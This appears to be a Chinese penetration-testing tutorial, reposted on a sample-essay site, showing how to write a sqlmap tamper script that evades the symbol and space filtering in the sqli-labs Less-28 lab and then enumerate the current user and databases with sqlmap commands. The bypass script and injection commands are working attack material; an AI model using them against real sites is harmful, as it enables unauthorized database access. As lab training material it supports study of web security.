300字范文,内容丰富有趣,生活中的好帮手!
300字范文 > 渗透测试-sqlmap绕过WAF脚本编写

渗透测试-sqlmap绕过WAF脚本编写

时间:2024-07-23 02:59:21

相关推荐

渗透测试-sqlmap绕过WAF脚本编写

sqlmap绕过WAF脚本编写

文章目录

sqlmap绕过WAF脚本编写前言一、什么是sqlmap和tamper脚本二、利用sqlmap脚本进行扫描获取数据库信息1.编写sqlmap绕过WAF脚本2.通过sqlmap进行获取数据库信息总结

前言

一、什么是sqlmap和tamper脚本

Sqlmap一款功能强大集成了多种数据库识别及注入方式,多用于识别和利用Web 应用程序注入漏洞的工具,它的优点在于集成了大量 payload,对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。 我们之前学习时间盲注的时候,可以针对时间盲注类型的漏洞的写个专门的自动化脚本来帮忙我们测试,但是不比这个sqlmap这个集成工具强大。

1.tamper的作用

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall

IPS:入侵防御系统, Intrusion Prevention System

IDS:入侵检测系统,Intrusion Detection System

2.tamper用法

–tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:

python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py

表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

二、利用sqlmap脚本进行扫描获取数据库信息

1.编写sqlmap绕过WAF脚本

利用sqli-labs实验室第28关进行实验,进行代码审计可知

代码中对各种符号,空格进行了过滤,说明存在WAF,我们可以进行编写sqlmap脚本进行绕过,这里编写一个sqli-labs28.py脚本到sqlmap的tamper目录下

脚本模板如下:

#!/usr/bin/env python

“”"

Copyright © - sqlmap developers (/)

See the file ‘LICENSE’ for copying permission

“”"

from lib.core.convert import encodeBase64

from lib.core.enums import PRIORITY

priority= PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

“”"

Bypass sqli-lasbs/Less-28

“”"

if payload:

payload = payload.replace(‘union select’,‘unnion all select’).replace(’ ‘,’%0a’)

return payload

2.通过sqlmap进行获取数据库信息

这里我在window下使用sqlmap,搭建python环境进行运行

首先,进行对目标url进行扫描

python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session

扫描结果可知,id参数没有存在注入点,这里我们脚本侥幸扫描试试是否可以绕过过滤点进行注入,获取信息。

输入脚本文件

python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session --tamper=sqli-labs28

由测试结果可知,注入成功,接下来我们获取数据信息

python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --current-user(输出当前用户)

由结果可知,获取信息成功,接下来我们获取有哪些数据库

python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --dbs -v 3(通过payload获取数据库内容)

由以上结果可知,数据库信息获取成功,实验结束。

接下来大家就可以利用sqlmap核心语法获取更多的信息。

总结

本次实验是利用sqlmap编写脚本绕过WAF的一个经典实例,通过代码审计发现存在符号和空格过滤,我们就可以进行编写脚本进行绕过,这样我们就可以通过绕过WAF,获取对方的数据库信息了。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。